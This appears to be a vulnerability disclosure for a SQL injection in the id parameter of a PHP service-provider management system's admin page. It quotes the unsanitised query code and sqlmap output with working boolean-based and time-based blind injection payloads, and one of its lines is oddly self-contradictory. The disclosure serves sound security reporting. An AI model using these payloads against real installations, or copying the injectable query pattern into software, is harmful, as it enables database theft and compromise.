

SQL injection vulnerability exists in id parameter of /admin/services/manage_service.php file of Service Provider Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit /admin/index.php and page parameter is 'services/manage_service', it will include /admin/services/manage_service.php, and id parameter can do sql injection.

/admin/index.php

```
36         if(!file_exists($page.".php") && !is_dir($page)){
37             include '404.html';
38         }else{
39             if(is_dir($page))
40                 include $page.'/index.php';
41             else
42                 include $page.'.php';
43         }
44     }
```

/admin/services/manage_service.php

```
1 <?php
2 if(isset($_GET['id']) && $_GET['id'] > 0){
3     $qry = $conn->query("SELECT * from `service_list` where id = '{$_GET['id']}' ");
4     if($qry->num_rows > 0){
5         foreach($qry->fetch_assoc() as $k => $v){
6             $$k=$v;
7         }
8     }
9 }
```

```
sqlmap identified the following injection point(s) with a total of 441 HTTP(s) requests:
___
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: page=services/manage_service&id=2' AND 8731=8731 AND 'LGLi'='LGLi

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: page=services/manage_service&id=2' AND (SELECT 5751 FROM (SELECT(SLEEP(5)))FZox)
  AND 'AFNW'='AFNW
___
```

“

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Source Download:

<https://www.sourcecodester.com/php/16501/service-provider-management-system-using-php-and-mysql-source-code-free-download.html>